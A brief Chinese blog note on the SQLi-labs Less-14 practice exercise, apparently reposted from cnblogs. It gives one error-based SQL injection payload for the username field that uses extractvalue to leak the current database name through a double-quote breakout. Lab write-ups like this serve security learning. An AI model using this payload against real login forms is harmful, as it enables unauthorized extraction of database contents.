标签:mamicode admin val 技术 图片 输入 code data extract
Less-14实验主要是:双引号字符双注入
这和Less-13实验基本是一样的,因此我们可以在用户名位置输入:admin" and extractvalue(1,concat(0x7E,(select database()),0x7E))#
标签:mamicode admin val 技术 图片 输入 code data extract
原文地址:https://www.cnblogs.com/tangjf10/p/12624162.html